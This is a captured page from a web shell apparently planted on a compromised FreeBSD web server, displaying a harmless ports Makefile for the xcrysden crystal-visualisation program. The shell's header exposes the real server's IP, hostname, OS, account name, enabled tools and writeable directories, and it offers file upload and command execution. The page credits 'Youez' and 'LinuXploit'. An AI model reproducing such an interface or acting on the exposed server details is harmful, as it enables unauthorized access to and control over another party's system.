403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/science/xcrysden/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/science/xcrysden/Makefile
PORTNAME=	xcrysden
PORTVERSION=	1.6.2
PORTREVISION=	2
CATEGORIES=	science
MASTER_SITES=	http://www.xcrysden.org/download/

MAINTAINER=	yuri@FreeBSD.org
COMMENT=	Crystalline and molecular structure visualisation program
WWW=		http://www.xcrysden.org/

LICENSE=	GPLv2
LICENSE_FILE=	${WRKSRC}/COPYING

LIB_DEPENDS=	libfftw3.so:math/fftw3 \
		libgl2ps.so:print/gl2ps \
		libTogl2.0.so:graphics/togl
RUN_DEPENDS=	bwidget>0:x11-toolkits/bwidget \
		obabel:science/openbabel \
		ppmtompeg:graphics/netpbm \
		xwd:x11/xwd

USES=		fortran gl gmake localbase:ldflags magick:run tcl tk xorg
USE_GL=		gl glu
USE_XORG=	x11 xmu

CONFLICTS_INSTALL=	cgnslib-4.1.2,1	# bin/unitconv

MAKE_ARGS=	prefix=${STAGEDIR}${PREFIX}

CFLAGS+=	-fcommon # notified xcrysden ML on Sep 20, 2020

BINARY_ALIAS=	make=gmake gcc=cc gfortran=gfortran${GCC_DEFAULT}

OPTIONS_DEFINE=	EXAMPLES

PORTEXAMPLES=	*

post-patch:
	@${CP} ${FILESDIR}/Make.sys ${WRKSRC}
	@${REINPLACE_CMD} -e 's|%%LOCALBASE%%|${LOCALBASE}|g' ${WRKSRC}/Make.sys
	@${RM} -r ${WRKSRC}/external/src

post-install:
	# stagedir shouldn't be in executables
	@${REINPLACE_CMD} -i '' -e 's|${STAGEDIR}||' ${STAGEDIR}${PREFIX}/bin/*
	# remove bad symlinks
	@${RM} \
		${STAGEDIR}${PREFIX}/share/doc/xcrysden/examples/examples \
		${STAGEDIR}${PREFIX}/share/xcrysden/examples
	@${STRIP_CMD} ${STAGEDIR}${PREFIX}/lib/xcrysden/*
	# move examples from the docs dir
	@${MV} ${STAGEDIR}${DOCSDIR}/examples ${STAGEDIR}${EXAMPLESDIR}

.include <bsd.port.mk>

Youez - 2016 - github.com/yon3zu
LinuXploit